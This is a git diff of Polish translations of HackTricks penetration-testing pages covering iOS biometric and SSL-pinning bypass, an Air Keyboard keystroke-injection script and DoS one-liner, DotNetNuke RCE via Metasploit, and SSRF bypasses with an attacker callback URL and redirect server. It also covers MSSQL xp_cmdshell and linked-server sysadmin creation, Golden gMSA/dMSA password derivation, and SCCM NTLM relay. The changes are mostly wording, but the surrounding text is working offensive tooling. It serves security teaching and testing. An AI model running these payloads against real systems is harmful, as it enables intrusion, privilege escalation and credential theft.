biometrycznego, takiego jak Touch ID. +Implementacja **uwierzytelniania lokalnego** w aplikacjach iOS polega na użyciu **keychain APIs** do bezpiecznego przechowywania danych tajnych, takich jak tokeny uwierzytelniające. Proces ten zapewnia, że dane mogą być dostępne tylko dla użytkownika, korzystającego z kodu dostępu do urządzenia lub uwierzytelnienia biometrycznego, takiego jak Touch ID. Keychain oferuje możliwość ustawienia elementów z atrybutem `SecAccessControl`, który ogranicza dostęp do elementu, dopóki użytkownik nie uwierzytelni się pomyślnie za pomocą Touch ID lub kodu dostępu do urządzenia. Ta funkcja jest kluczowa dla zwiększenia bezpieczeństwa. @@ -887,13 +887,13 @@ Jeśli `LocalAuthentication.framework` jest używany w aplikacji, wynik będzie ``` Jeśli używany jest `Security.framework`, tylko drugi zostanie wyświetlony. -### Ominięcie lokalnego uwierzytelniania +### Ominięcie Ramy Uwierzytelniania Lokalnego #### **Objection** Dzięki **Objection Biometrics Bypass**, znajdującemu się na [tej stronie GitHub](https://github.com/sensepost/objection/wiki/Understanding-the-iOS-Biometrics-Bypass), dostępna jest technika umożliwiająca pokonanie mechanizmu **LocalAuthentication**. Sedno tego podejścia polega na wykorzystaniu **Frida** do manipulacji funkcją `evaluatePolicy`, zapewniając, że zawsze zwraca wynik `True`, niezależnie od rzeczywistego sukcesu uwierzytelnienia. Jest to szczególnie przydatne do omijania wadliwych procesów uwierzytelniania biometrycznego. -Aby aktywować to ominięcie, używa się następującego polecenia: +Aby aktywować to ominięcie, używana jest następująca komenda: ```bash ...itudehacks.DVIAswiftv2.develop on (iPhone: 13.2.3) [usb] # ios ui biometrics_bypass (agent) Registering job 3mhtws9x47q. Type: ios-biometrics-disable @@ -970,7 +970,7 @@ frida -U -f com.highaltitudehacks.DVIAswiftv2 --no-pause -l fingerprint-bypass-i ios-custom-uri-handlers-deeplinks-custom-schemes.md {{#endref}} -### Uniwersalne linki +### Linki uniwersalne {{#ref}} ios-universal-links.md @@ -1022,7 +1022,7 @@ Aby sprawdzić ten problem za pomocą Burp, po zaufaniu Burp CA na iPhonie, moż ### Pinning certyfikatu -Jeśli aplikacja poprawnie używa SSL Pinning, to aplikacja będzie działać tylko wtedy, gdy certyfikat jest tym, którego się oczekuje. Podczas testowania aplikacji **może to być problem, ponieważ Burp będzie serwować swój własny certyfikat.**\ +Jeśli aplikacja poprawnie używa SSL Pinning, to aplikacja będzie działać tylko wtedy, gdy certyfikat jest tym, którego oczekiwano. Podczas testowania aplikacji **może to być problem, ponieważ Burp będzie serwować swój własny certyfikat.**\ Aby obejść tę ochronę na urządzeniu z jailbreakiem, możesz zainstalować aplikację [**SSL Kill Switch**](https://github.com/nabla-c0d3/ssl-kill-switch2) lub zainstalować [**Burp Mobile Assistant**](https://portswigger.net/burp/documentation/desktop/mobile/config-ios-device) Możesz również użyć **objection's** `ios sslpinning disable` @@ -1050,7 +1050,7 @@ Znaczącym wyzwaniem związanym z **SDK stron trzecich** jest **brak szczegóło Usługi świadczone przez SDK stron trzecich mogą obejmować śledzenie zachowań użytkowników, wyświetlanie reklam lub ulepszanie doświadczeń użytkowników. Jednak wprowadza to ryzyko, ponieważ deweloperzy mogą nie być w pełni świadomi kodu wykonywanego przez te biblioteki, co prowadzi do potencjalnych zagrożeń dla prywatności i bezpieczeństwa. Ważne jest, aby ograniczyć informacje udostępniane usługom stron trzecich do niezbędnych i upewnić się, że żadne wrażliwe dane nie są ujawniane. -Implementacja usług stron trzecich zazwyczaj występuje w dwóch formach: jako samodzielna biblioteka lub pełne SDK. Aby chronić prywatność użytkowników, wszelkie dane udostępniane tym usługom powinny być **anonimizowane**, aby zapobiec ujawnieniu Osobowych Danych Identyfikacyjnych (PII). +Wdrożenie usług stron trzecich zazwyczaj występuje w dwóch formach: jako samodzielna biblioteka lub pełne SDK. Aby chronić prywatność użytkowników, wszelkie dane udostępniane tym usługom powinny być **anonimizowane**, aby zapobiec ujawnieniu informacji umożliwiających identyfikację osobistą (PII). Aby zidentyfikować biblioteki używane przez aplikację, można użyć polecenia **`otool`**. To narzędzie powinno być uruchamiane w odniesieniu do aplikacji i każdej używanej przez nią biblioteki współdzielonej, aby odkryć dodatkowe biblioteki. ```bash @@ -1080,15 +1080,14 @@ air-keyboard-remote-input-injection.md - [https://mas.owasp.org/MASTG/tests/ios/MASVS-AUTH/MASTG-TEST-0064](https://mas.owasp.org/MASTG/tests/ios/MASVS-AUTH/MASTG-TEST-0064) - [https://medium.com/securing/bypassing-your-apps-biometric-checks-on-ios-c2555c81a2dc](https://medium.com/securing/bypassing-your-apps-biometric-checks-on-ios-c2555c81a2dc) - [https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0054](https://mas.owasp.org/MASTG/tests/ios/MASVS-STORAGE/MASTG-TEST-0054) -- [https://github.com/ivRodriguezCA/RE-iOS-Apps/](https://github.com/ivRodriguezCA/RE-iOS-Apps/) IOS free course([https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/](https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/)) +- [https://github.com/ivRodriguezCA/RE-iOS-Apps/](https://github.com/ivRodriguezCA/RE-iOS-Apps/) IOS darmowy kurs([https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/](https://syrion.me/blog/ios-swift-antijailbreak-bypass-frida/)) - [https://www.sans.org/reading-room/whitepapers/testing/ipwn-apps-pentesting-ios-applications-34577](https://www.sans.org/reading-room/whitepapers/testing/ipwn-apps-pentesting-ios-applications-34577) - [https://www.slideshare.net/RyanISI/ios-appsecurityminicourse](https://www.slideshare.net/RyanISI/ios-appsecurityminicourse) - [https://github.com/prateek147/DVIA](https://github.com/prateek147/DVIA) - [https://github.com/prateek147/DVIA-v2](https://github.com/prateek147/DVIA-v2) - [https://github.com/OWASP/MSTG-Hacking-Playground%20](https://github.com/OWASP/MSTG-Hacking-Playground) -- OWASP iGoat [_https://github.com/OWASP/igoat_](https://github.com/OWASP/igoat) <<< Objective-C version [_https://github.com/OWASP/iGoat-Swift_](https://github.com/OWASP/iGoat-Swift) <<< Swift version +- OWASP iGoat [_https://github.com/OWASP/igoat_](https://github.com/OWASP/igoat) <<< wersja Objective-C [_https://github.com/OWASP/iGoat-Swift_](https://github.com/OWASP/iGoat-Swift) <<< wersja Swift - [https://github.com/authenticationfailure/WheresMyBrowser.iOS](https://github.com/authenticationfailure/WheresMyBrowser.iOS) - [https://github.com/nabla-c0d3/ssl-kill-switch2](https://github.com/nabla-c0d3/ssl-kill-switch2) - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.md b/src/mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.md index d8db953a8..e8e7fc56e 100644 --- a/src/mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.md +++ b/src/mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.md @@ -7,7 +7,7 @@ Wersja iOS komercyjnej aplikacji "Air Keyboard" (ID w App Store 6463187929) otwiera **usługę TCP w czystym tekście na porcie 8888**, która akceptuje ramki naciśnięć klawiszy **bez żadnej autoryzacji**. Każde urządzenie w tej samej sieci Wi-Fi może połączyć się z tym portem i wstrzyknąć dowolne dane wejściowe z klawiatury do telefonu ofiary, osiągając **pełne przejęcie zdalnej interakcji**. -Towarzysząca wersja na Androida nasłuchuje na **porcie 55535**. Wykonuje słabe ręczne ustalenie AES-ECB, ale stworzony śmieć powoduje **nieobsługiwany wyjątek w procedurze deszyfrowania OpenSSL**, powodując awarię usługi w tle (**DoS**). +Towarzysząca wersja na Androida nasłuchuje na **porcie 55535**. Wykonuje słabe ręczne uzgadnianie AES-ECB, ale stworzony śmieć powoduje **nieobsługiwany wyjątek w procedurze deszyfrowania OpenSSL**, powodując awarię usługi w tle (**DoS**). ## 1. Odkrywanie usługi @@ -54,11 +54,11 @@ with socket.create_connection((target_ip, 8888)) as s: s.sendall(frame) print("Injected", keystrokes) ``` -Każdy drukowalny ASCII (w tym `\n`, `\r`, klawisze specjalne itp.) może być wysyłany, co skutkuje przyznaniem atakującemu tej samej mocy co fizyczne wejście użytkownika: uruchamianie aplikacji, wysyłanie wiadomości IM, odwiedzanie phishingowych URL-i itp. +Każdy drukowalny ASCII (w tym `\n`, `\r`, klawisze specjalne itp.) może być wysyłany, co skutecznie daje atakującemu tę samą moc co fizyczne wejście użytkownika: uruchamianie aplikacji, wysyłanie wiadomości IM, odwiedzanie phishingowych URL-i itp. ## 4. Android Companion – Denial-of-Service -Port Androida (55535) oczekuje 4-znakowego hasła zaszyfrowanego za pomocą **hard-coded AES-128-ECB key**, po którym następuje losowy nonce. Błędy parsowania pojawiają się w `AES_decrypt()` i nie są wychwytywane, co kończy wątek nasłuchujący. Pojedynczy źle sformatowany pakiet jest zatem wystarczający, aby utrzymać legalnych użytkowników odłączonych, aż proces zostanie ponownie uruchomiony. +Port Androida (55535) oczekuje 4-znakowego hasła zaszyfrowanego za pomocą **hard-coded AES-128-ECB key**, a następnie losowego nonce. Błędy parsowania pojawiają się w `AES_decrypt()` i nie są wychwytywane, co kończy wątek nasłuchujący. Pojedynczy źle sformatowany pakiet jest zatem wystarczający, aby utrzymać legalnych użytkowników odłączonych, aż proces zostanie ponownie uruchomiony. ```python import socket socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS @@ -72,7 +72,7 @@ socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS * Nigdy nie udostępniaj nieautoryzowanych usług na urządzeniu mobilnym. * Wyprowadzaj sekrety specyficzne dla urządzenia podczas onboardingu i weryfikuj je przed przetwarzaniem danych wejściowych. -* Powiąż nasłuchiwacz z `127.0.0.1` i użyj wzajemnie uwierzytelnionego, szyfrowanego transportu (np. TLS, Noise) do zdalnego sterowania. +* Powiąż nasłuchiwacz z `127.0.0.1` i użyj wzajemnie uwierzytelnianego, szyfrowanego transportu (np. TLS, Noise) do zdalnego sterowania. * Wykrywaj niespodziewane otwarte porty podczas przeglądów bezpieczeństwa mobilnego (`netstat`, `lsof`, `frida-trace` na `socket()` itd.). * Jako użytkownik końcowy: odinstaluj Air Keyboard lub używaj go tylko w zaufanych, izolowanych sieciach Wi-Fi. diff --git a/src/network-services-pentesting/pentesting-web/dotnetnuke-dnn.md b/src/network-services-pentesting/pentesting-web/dotnetnuke-dnn.md index db1f9cb78..411945965 100644 --- a/src/network-services-pentesting/pentesting-web/dotnetnuke-dnn.md +++ b/src/network-services-pentesting/pentesting-web/dotnetnuke-dnn.md @@ -20,16 +20,16 @@ Jeśli zalogujesz się jako **administrator** w DNN, łatwo uzyskać **RCE**, je ## Wykorzystanie bez autoryzacji ### 1. Deserializacja ciasteczek RCE (CVE-2017-9822 i kontynuacje) -*Dotknięte wersje ≤ 9.3.0-RC* +*Wersje dotknięte ≤ 9.3.0-RC* -`DNNPersonalization` jest deserializowane przy każdym żądaniu, gdy wbudowany handler 404 jest włączony. Odpowiednio skonstruowane XML może prowadzić do dowolnych łańcuchów gadżetów i wykonania kodu. +`DNNPersonalization` jest deserializowane przy każdym żądaniu, gdy wbudowany handler 404 jest włączony. Opracowane XML może zatem prowadzić do dowolnych łańcuchów gadżetów i wykonania kodu. ``` msf> use exploit/windows/http/dnn_cookie_deserialization_rce msf> set RHOSTS msf> set LHOST msf> run ``` -Moduł automatycznie wybiera odpowiednią ścieżkę dla załatanych, ale wciąż podatnych wersji (CVE-2018-15811/15812/18325/18326). Eksploatacja działa **bez uwierzytelnienia** w wersjach 7.x–9.1.x oraz z *zweryfikowanym* kontem o niskich uprawnieniach w wersjach 9.2.x+. +Moduł automatycznie wybiera odpowiednią ścieżkę dla załatanych, ale wciąż podatnych wersji (CVE-2018-15811/15812/18325/18326). Wykorzystanie działa **bez uwierzytelnienia** w wersjach 7.x–9.1.x oraz z *zweryfikowanym* kontem o niskich uprawnieniach w wersjach 9.2.x+. ### 2. Server-Side Request Forgery (CVE-2025-32372) *Wersje dotknięte < 9.13.8 – Łatka wydana w kwietniu 2025* @@ -46,18 +46,18 @@ https://TARGET/API/RemoteContentProxy?url=http://ATTACKER:8080/poc Żądanie jest wyzwalane w tle; monitoruj swój nasłuchiwacz w poszukiwaniu wywołań zwrotnych. ### 3. Ekspozycja hasha NTLM za pomocą przekierowania UNC (CVE-2025-52488) -*Wersje dotknięte 6.0.0 – 9.x (< 10.0.1)* +*Dotknięte wersje 6.0.0 – 9.x (< 10.0.1)* -Specjalnie przygotowana treść może spowodować, że DNN spróbuje pobrać zasób za pomocą **UNC path** takiego jak `\\attacker\share\img.png`. Windows chętnie przeprowadzi negocjację NTLM, ujawniając hashe konta serwera atakującemu. Zaktualizuj do **10.0.1** lub wyłącz wychodzący SMB w zaporze. +Specjalnie przygotowana treść może spowodować, że DNN spróbuje pobrać zasób za pomocą **ścieżki UNC** takiej jak `\\attacker\share\img.png`. Windows chętnie przeprowadzi negocjację NTLM, ujawniając hashe konta serwera atakującemu. Zaktualizuj do **10.0.1** lub wyłącz wychodzący SMB w zaporze. ### 4. Ominięcie filtra IP (CVE-2025-52487) -Jeśli administratorzy polegają na *Host/IP Filters* w celu ochrony portalu administracyjnego, należy pamiętać, że wersje przed **10.0.1** mogą być ominięte poprzez manipulację `X-Forwarded-For` w scenariuszu reverse-proxy. +Jeśli administratorzy polegają na *Filtrach Host/IP* w celu ochrony portalu administracyjnego, należy pamiętać, że wersje przed **10.0.1** mogą być ominięte poprzez manipulację `X-Forwarded-For` w scenariuszu odwrotnego proxy. --- ## Post-autoryzacja do RCE ### Poprzez konsolę SQL -W **`Settings → SQL`** wbudowane okno zapytań pozwala na wykonanie zapytań przeciwko bazie danych witryny. Na Microsoft SQL Server możesz włączyć **`xp_cmdshell`** i uruchomić polecenia: +W **`Ustawienia → SQL`** wbudowane okno zapytań pozwala na wykonanie zapytań przeciwko bazie danych witryny. Na Microsoft SQL Server możesz włączyć **`xp_cmdshell`** i uruchomić polecenia: ```sql EXEC sp_configure 'show advanced options', 1; RECONFIGURE; @@ -85,7 +85,7 @@ Gdy uzyskasz wykonanie kodu jako **IIS AppPool\**, stosuje się powszechne * **Upgrade** do co najmniej **9.13.9** (naprawia obejście SSRF) lub najlepiej **10.0.1** (problemy z filtrowaniem IP i NTLM). * Usuń pozostałe pliki **`InstallWizard.aspx*`** po instalacji. * Wyłącz wychodzący SMB (porty 445/139). -* Wymuś silne *Host Filters* na krawędzi proxy, a nie w DNN. +* Wymuś silne *Host Filters* na krawędzi proxy zamiast w DNN. * Zablokuj dostęp do `/API/RemoteContentProxy`, jeśli nie jest używane. ## References diff --git a/src/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md b/src/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md index 1eb54c516..1a28eaf73 100644 --- a/src/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md +++ b/src/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md @@ -146,7 +146,7 @@ next={domain}&next=attacker.com ``` ### Paths and Extensions Bypass -Jeśli wymagana jest końcówka URL w postaci ścieżki lub rozszerzenia, lub musi zawierać ścieżkę, możesz spróbować jednego z następujących obejść: +Jeśli wymagane jest, aby URL kończył się ścieżką lub rozszerzeniem, lub musiał zawierać ścieżkę, możesz spróbować jednego z następujących obejść: ``` https://metadata/vulerable/path#/expected/path https://metadata/vulerable/path#.extension @@ -156,18 +156,18 @@ https://metadata/expected/path/..%2f..%2f/vulnerable/path Narzędzie [**recollapse**](https://github.com/0xacb/recollapse) może generować wariacje z danego wejścia, aby spróbować obejść używany regex. Sprawdź [**ten post**](https://0xacb.com/2022/11/21/recollapse/) również dla uzyskania dodatkowych informacji. -### Automatic Custom Wordlists +### Automatyczne niestandardowe listy słów -Sprawdź [**arkusz oszustw dotyczący obejścia walidacji URL**](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) od portswigger, gdzie możesz wprowadzić dozwolony host i atakujący, a on wygeneruje listę URL-i do przetestowania. Uwzględnia również, czy możesz użyć URL w parametrze, w nagłówku Host lub w nagłówku CORS. +Sprawdź [**arkusz oszustw dotyczący obejścia walidacji URL**](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet) z portswigger, gdzie możesz wprowadzić dozwolony host i atakujący, a on wygeneruje listę URL do przetestowania. Uwzględnia również, czy możesz użyć URL w parametrze, w nagłówku Host lub w nagłówku CORS. {{#ref}} https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet {{#endref}} -### Bypass via redirect +### Obejście przez przekierowanie -Możliwe, że serwer **filtruje oryginalne żądanie** SSRF **ale nie** możliwą **odpowiedź przekierowania** na to żądanie.\ -Na przykład, serwer podatny na SSRF poprzez: `url=https://www.google.com/` może **filtruje parametr url**. Ale jeśli użyjesz [serwera python do odpowiedzi z kodem 302](https://pastebin.com/raw/ywAUhFrv) w miejsce, gdzie chcesz przekierować, możesz być w stanie **uzyskać dostęp do filtrowanych adresów IP** jak 127.0.0.1 lub nawet filtrowanych **protokołów** jak gopher.\ +Możliwe, że serwer **filtruje oryginalne żądanie** SSRF **ale nie** możliwą odpowiedź **przekierowania** na to żądanie.\ +Na przykład, serwer podatny na SSRF przez: `url=https://www.google.com/` może **filtruje parametr url**. Ale jeśli użyjesz [serwera python do odpowiedzi z 302](https://pastebin.com/raw/ywAUhFrv) w miejsce, gdzie chcesz przekierować, możesz być w stanie **uzyskać dostęp do filtrowanych adresów IP** jak 127.0.0.1 lub nawet filtrowanych **protokołów** jak gopher.\ [Sprawdź ten raport.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530) ```python #!/usr/bin/env python3 @@ -193,7 +193,7 @@ HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever() ### Sztuczka z ukośnikiem -Sztuczka z _backslash_ wykorzystuje różnicę między [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) a [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). Podczas gdy RFC3986 jest ogólnym ramowym dokumentem dla URI, WHATWG jest specyficzny dla adresów URL w sieci i jest przyjęty przez nowoczesne przeglądarki. Kluczowa różnica polega na uznaniu znaku backslash (`\`) przez standard WHATWG za równoważny ukośnikowi (`/`), co wpływa na sposób, w jaki adresy URL są analizowane, szczególnie oznaczając przejście od nazwy hosta do ścieżki w adresie URL. +Sztuczka _backslash-trick_ wykorzystuje różnicę między [WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) a [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B). Podczas gdy RFC3986 jest ogólnym ramowym dokumentem dla URI, WHATWG jest specyficzny dla adresów URL w sieci i jest przyjęty przez nowoczesne przeglądarki. Kluczowa różnica polega na tym, że standard WHATWG uznaje ukośnik wsteczny (`\`) za równoważny ukośnikowi (`/`), co wpływa na sposób, w jaki adresy URL są analizowane, szczególnie oznaczając przejście od nazwy hosta do ścieżki w adresie URL. ![https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec_difference.jpg](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec_difference.jpg) @@ -209,7 +209,7 @@ obraz z [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-con ### Sztuczka z identyfikatorem strefy IPv6 (%25) -Nowoczesne analizatory URL, które wspierają RFC 6874, pozwalają na *link-local* adresy IPv6, aby zawierały **identyfikator strefy** po znaku procenta. Niektóre filtry zabezpieczeń nie są świadome tej składni i będą usuwać tylko literały IPv6 w nawiasach kwadratowych, pozwalając na dotarcie następującego ładunku do wewnętrznego interfejsu: +Nowoczesne analizatory URL, które obsługują RFC 6874, pozwalają na *link-local* adresy IPv6, aby zawierały **identyfikator strefy** po znaku procenta. Niektóre filtry zabezpieczeń nie są świadome tej składni i będą usuwać tylko literały IPv6 w nawiasach kwadratowych, pozwalając na dotarcie następującego ładunku do wewnętrznego interfejsu: ```text http://[fe80::1%25eth0]/ # %25 = encoded '%', interpreted as fe80::1%eth0 http://[fe80::a9ff:fe00:1%25en0]/ # Another example (macOS style) @@ -218,7 +218,7 @@ Jeśli aplikacja docelowa weryfikuje, że host *nie* jest `fe80::1`, ale przesta ### Ostatnie CVE związane z analizą bibliotek (2022–2025) -Wiele popularnych frameworków miało problemy z niezgodnością nazw hostów, które mogą być wykorzystane do SSRF, gdy walidacja URL została ominięta za pomocą wymienionych powyżej sztuczek: +Wiele popularnych frameworków miało problemy z niezgodnością nazw hostów, które można wykorzystać do SSRF, gdy walidacja URL została ominięta za pomocą wymienionych powyżej sztuczek: | Rok | CVE | Komponent | Streszczenie błędu | Minimalny PoC | |------|-----|-----------|--------------|-------------| @@ -230,7 +230,7 @@ Kiedy polegasz na parserach URL stron trzecich, **porównaj kanonizowany host zw ### Pomocnicy do generowania ładunków (2024+) -Tworzenie dużych, niestandardowych list słów ręcznie jest uciążliwe. Narzędzie open-source **SSRF-PayloadMaker** (Python 3) może teraz automatycznie generować *80 k+* kombinacji modyfikacji hostów, w tym mieszane kodowania, wymuszone obniżenie HTTP i warianty z ukośnikiem: +Tworzenie dużych niestandardowych list słów ręcznie jest uciążliwe. Narzędzie open-source **SSRF-PayloadMaker** (Python 3) może teraz automatycznie generować *80 k+* kombinacji modyfikacji hostów, w tym mieszane kodowania, wymuszone obniżenie HTTP i warianty z ukośnikiem: ```bash # Generate every known bypass that transforms the allowed host example.com to attacker.com python3 ssrf_maker.py --allowed example.com --attacker attacker.com -A -o payloads.txt diff --git a/src/windows-hardening/active-directory-methodology/abusing-ad-mssql.md b/src/windows-hardening/active-directory-methodology/abusing-ad-mssql.md index d1ada92b4..a7c0d14d1 100644 --- a/src/windows-hardening/active-directory-methodology/abusing-ad-mssql.md +++ b/src/windows-hardening/active-directory-methodology/abusing-ad-mssql.md @@ -7,7 +7,7 @@ ### Python -Narzędzie [MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner) opiera się na impacket i pozwala również na uwierzytelnianie za pomocą biletów kerberos oraz atakowanie przez łańcuchy linków. +Narzędzie [MSSQLPwner](https://github.com/ScorpionesLabs/MSSqlPwner) opiera się na impacket i umożliwia również uwierzytelnianie za pomocą biletów kerberos oraz atakowanie przez łańcuchy linków.
```shell @@ -166,7 +166,7 @@ Możliwe jest również **wykonywanie poleceń** wewnątrz hosta MSSQL Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResults # Invoke-SQLOSCmd automatically checks if xp_cmdshell is enable and enables it if necessary ``` -Sprawdź na stronie wspomnianej w **następnym rozdziale, jak zrobić to ręcznie.** +Sprawdź na stronie wspomnianej w **następującej sekcji, jak zrobić to ręcznie.** ### MSSQL Podstawowe Sztuczki Hackingowe @@ -274,15 +274,15 @@ Możesz również nadużyć zaufanych linków używając `EXECUTE`: EXECUTE('EXECUTE(''CREATE LOGIN hacker WITH PASSWORD = ''''P@ssword123.'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2" EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT "DOMINIO\SERVER1"') AT "DOMINIO\SERVER2" ``` -## Eskalacja uprawnień lokalnych +## Eskalacja Uprawnień Lokalnych **Użytkownik lokalny MSSQL** zazwyczaj ma specjalny rodzaj uprawnienia nazywanego **`SeImpersonatePrivilege`**. Umożliwia to kontu "podszywanie się pod klienta po uwierzytelnieniu". -Strategią, którą opracowało wielu autorów, jest zmuszenie usługi SYSTEM do uwierzytelnienia się w fałszywej lub man-in-the-middle usłudze, którą tworzy atakujący. Ta fałszywa usługa może następnie podszywać się pod usługę SYSTEM, gdy ta próbuje się uwierzytelnić. +Strategią, którą wielu autorów opracowało, jest zmuszenie usługi SYSTEM do uwierzytelnienia się w fałszywej lub man-in-the-middle usłudze, którą tworzy atakujący. Ta fałszywa usługa jest w stanie podszywać się pod usługę SYSTEM, gdy ta próbuje się uwierzytelnić. [SweetPotato](https://github.com/CCob/SweetPotato) ma zbiór tych różnych technik, które można wykonać za pomocą polecenia `execute-assembly` w Beaconie. -### NTLM Relay punktu zarządzania SCCM (ekstrakcja sekretów OSD) +### NTLM Relay Punktu Zarządzania SCCM (Ekstrakcja Sekretów OSD) Zobacz, jak domyślne role SQL punktów zarządzania SCCM **Management Points** mogą być wykorzystywane do zrzucania konta dostępu do sieci i sekretów sekwencji zadań bezpośrednio z bazy danych witryny: {{#ref}} sccm-management-point-relay-sql-policy-secrets.md diff --git a/src/windows-hardening/active-directory-methodology/golden-dmsa-gmsa.md b/src/windows-hardening/active-directory-methodology/golden-dmsa-gmsa.md index 900008255..ed8c5333c 100644 --- a/src/windows-hardening/active-directory-methodology/golden-dmsa-gmsa.md +++ b/src/windows-hardening/active-directory-methodology/golden-dmsa-gmsa.md @@ -29,7 +29,7 @@ Jest to analogiczne do *Złotego Biletu* dla kont usługowych. ### Wymagania wstępne 1. **Kompromitacja na poziomie lasu** **jednego DC** (lub Administratora Enterprise), lub dostęp `SYSTEM` do jednego z DC w lesie. -2. Możliwość enumeracji kont usługowych (odczyt LDAP / brutalne siłowe atakowanie RID). +2. Możliwość enumeracji kont usługowych (odczyt LDAP / brute-force RID). 3. Stacja robocza .NET ≥ 4.7.2 x64 do uruchomienia [`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) lub równoważnego kodu. ### Złoty gMSA / dMSA @@ -73,13 +73,13 @@ GoldendMSA.exe info -d example.local -m brute -r 5000 -u jdoe -p P@ssw0rd ``` ##### Faza 3 – Zgadnij / Odkryj ManagedPasswordID (gdy brakuje) -Niektóre wdrożenia *usuwają* `msDS-ManagedPasswordId` z odczytów chronionych przez ACL. +Niektóre wdrożenia *usuwają* `msDS-ManagedPasswordId` z odczytów chronionych przez ACL. Ponieważ GUID ma 128 bitów, naiwne brute force jest niepraktyczne, ale: -1. Pierwsze **32 bity = czas epoki Unix** utworzenia konta (z dokładnością do minut). +1. Pierwsze **32 bity = czas epoki Unix** utworzenia konta (rozdzielczość minutowa). 2. Następnie 96 losowych bitów. -Dlatego **wąska lista słów dla konta** (± kilka godzin) jest realistyczna. +Dlatego **wąska lista słów dla każdego konta** (± kilka godzin) jest realistyczna. ```powershell GoldendMSA.exe wordlist -s -d example.local -f example.local -k ``` @@ -87,7 +87,7 @@ Narzędzie oblicza kandydatów na hasła i porównuje ich blob base64 z rzeczywi ##### Faza 4 – Offline Obliczanie Hasła i Konwersja -Gdy znany jest ManagedPasswordID, ważne hasło jest na wyciągnięcie ręki: +Gdy ManagedPasswordID jest znane, ważne hasło jest na wyciągnięcie ręki: ```powershell # derive base64 password GoldendMSA.exe compute -s -k -d example.local -m -i @@ -113,7 +113,7 @@ Wynikowe hashe mogą być wstrzykiwane za pomocą **mimikatz** (`sekurlsa::pth`) ## Odniesienia - [Golden dMSA – obejście uwierzytelniania dla delegowanych zarządzanych kont serwisowych](https://www.semperis.com/blog/golden-dmsa-what-is-dmsa-authentication-bypass/) -- [gMSA Ataki Active Directory Konta](https://www.semperis.com/blog/golden-gmsa-attack/) +- [gMSA Ataki na konta Active Directory](https://www.semperis.com/blog/golden-gmsa-attack/) - [Repozytorium GitHub Semperis/GoldenDMSA](https://github.com/Semperis/GoldenDMSA) - [Improsec – atak zaufania Golden gMSA](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent) diff --git a/src/windows-hardening/active-directory-methodology/sccm-management-point-relay-sql-policy-secrets.md b/src/windows-hardening/active-directory-methodology/sccm-management-point-relay-sql-policy-secrets.md index 10f08288e..2b237bdf5 100644 --- a/src/windows-hardening/active-directory-methodology/sccm-management-point-relay-sql-policy-secrets.md +++ b/src/windows-hardening/active-directory-methodology/sccm-management-point-relay-sql-policy-secrets.md @@ -3,10 +3,10 @@ {{#include ../../banners/hacktricks-training.md}} ## TL;DR -Wymuszając **System Center Configuration Manager (SCCM) Management Point (MP)** do uwierzytelnienia przez SMB/RPC i **przekazując** ten NTLM machine account do **bazy danych serwisu (MSSQL)**, uzyskujesz prawa `smsdbrole_MP` / `smsdbrole_MPUserSvc`. Te role pozwalają na wywołanie zestawu procedur składowanych, które ujawniają **Operating System Deployment (OSD)** policy blobs (poświadczenia Network Access Account, zmienne Task-Sequence itp.). Bloby są zakodowane/encrypted w formacie hex, ale mogą być dekodowane i odszyfrowane za pomocą **PXEthief**, co daje jawne sekrety. +Wymuszając **System Center Configuration Manager (SCCM) Management Point (MP)** do uwierzytelnienia przez SMB/RPC i **przekazując** ten konto maszyny NTLM do **bazy danych witryny (MSSQL)** uzyskujesz prawa `smsdbrole_MP` / `smsdbrole_MPUserSvc`. Te role pozwalają na wywołanie zestawu procedur składowanych, które ujawniają **bloby polityki wdrażania systemu operacyjnego (OSD)** (poświadczenia konta dostępu do sieci, zmienne sekwencji zadań itp.). Bloby są zakodowane/encrypted w formacie hex, ale mogą być dekodowane i odszyfrowane za pomocą **PXEthief**, co daje jawne sekrety. Ogólny schemat: -1. Odkryj MP & bazę danych serwisu ↦ nieautoryzowany punkt końcowy HTTP `/SMS_MP/.sms_aut?MPKEYINFORMATIONMEDIA`. +1. Odkryj MP i bazę danych witryny ↦ nieautoryzowany punkt końcowy HTTP `/SMS_MP/.sms_aut?MPKEYINFORMATIONMEDIA`. 2. Uruchom `ntlmrelayx.py -t mssql:// -ts -socks`. 3. Wymuś MP używając **PetitPotam**, PrinterBug, DFSCoerce itp. 4. Przez proxy SOCKS połącz się z `mssqlclient.py -windows-auth` jako przekazywane konto **\\$**. @@ -20,14 +20,14 @@ Sekrety takie jak `OSDJoinAccount/OSDJoinPassword`, 